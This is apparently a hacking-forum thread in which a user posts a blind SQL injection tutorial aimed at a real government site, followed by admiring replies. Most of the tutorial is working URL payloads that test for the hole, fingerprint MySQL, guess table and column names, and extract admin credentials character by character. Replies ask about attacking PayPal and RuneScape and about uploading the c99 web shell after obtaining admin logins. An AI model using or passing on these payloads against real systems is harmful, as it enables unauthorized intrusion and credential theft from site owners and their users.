[Nerv]

blind sql injection

if you dont know about mysql injection turn around and learn it b4 u even consider learning this
because this is a whole different story.

1. test for vulnerability
so you have a site lets say :

Code

www.cia.gov/news.php?id=1

just like normal mysql injection

but for blind you put

Code

www.cia.gov/news.php?id=1 and 1=2

if you see any text from the page missing
or an error message like invalid id or db_error select * from xxxx@localhost call line "/" or anything like that
then its vuln

this works
because 1=2 is always false
you see if it was

Code

www.cia.gov/index.php?id=1 and 1=1

then you would get the normal page
because 1=1 is always true

2. mysql version
to find mysql version you need to do this query

Code

www.cia.gov/index.php?id=1 and substring(@@version,1,1)=4

if the pages comes back true then the version is 4
if not then try

Code

www.cia.gov/index.php?id=1 and substring(@@version,1,1)=5

if it comes back true then its a version 5

3. fuzzing tables and columns
to find the table name you need to guess it
so...
here is the query

Code

www.cia.gov/news.php?id=1 and (SELECT 1 from admin limit 0,1)=1

i have guessed the table admin if the page loads true then the table exists
eg. the table name is administrator
and we try

Code

(SELECT 1 from users limit 0,1)=1

then it will return with an error a.k.a. false
but if we did

Code

(SELECT 1 from administrator limit 0,1)=1

then it would not error a.k.a. true

now for the column
so the table is administrator
and we found that by fuzzing
now we need the column name
we fuzz it by

Code

www.cia.gov/news.php?id=1 and (SELECT substring(concat(1,password),1,1) from administrator limit 0,1)=1

if the column password exists then it wont error
you get my drift...

4. extracting password with ascii
so now we have the table/column we need to extract
well as you know it wont just pop up on the screen
we will need to use the ancii char

Code

www.cia.gov/news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from administrator where userid=2),1,1))>99

if this returns true then you need to go higher

Code

news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>103

if this errors then its not greater than 103 and greater than/or 99
now try

Code

news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>100

no error then its greater than 99 and not greater than 103
higher

Code

news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>101

error
so its greater than 99 but not greater than 101
higher

Code

news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>100

error
so its greater than 99 but not greater than 100 making it 100
the first character of the password is 100 which if u put into an ascii converter you will see
that it is the letter d
now you need to find the next character

Code

news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>60

notice how i did where userid=1),2,1))>60 instead of 1,1
so this will be doing the second character
so keep extracting characters untill u get an error
then u will have the hash / password

[Uchiha-Itachi]

This is the best SQL Injection tut i've ever seen
Thanks Man

[Nerv]

thanks :D
[short message]
[VERY SHORT]

[holyboy94]

hey does this work for paypal??or for www.runescape.com

[Anarchy93]

Thanx for the tut man, really nice.

[Nerv]

hey does this work for paypal??or for www.runescape.com

thankyou whoever banned him 🤝

[doomster]

Thanks For Sharing Brilliant Tutorial

[Vebedot]

I don´t get it, but looks good! ^^

(Im a noob at SQL)

[Nerv]

lol u need 2 learn mysql injection first
:D
then once u know that then u can do blind

[doomster]

Yap..You Need To Learn First..I Learned It From W3schools.com/sql

[Nerv]

lol http://furious.jw.lt/ has been fixed

[sw0rdy]

anywayz, i got the admin user:pass for 1 web. but i cant find admin control panel. any way to upload c99 directly?

[Nerv]

yes there is but that is saved for the advanced sql injection tutorial i am working on

[zeroclass]

Very nice tut! :)

thanks for this! :)


more! pls. more!!! :)

[Illinuminati]

I dig!

Theres a really good Blind SQL video on milw0rm as I type

If this got you interested check that out for a visual explanation.

/grats on the tut though man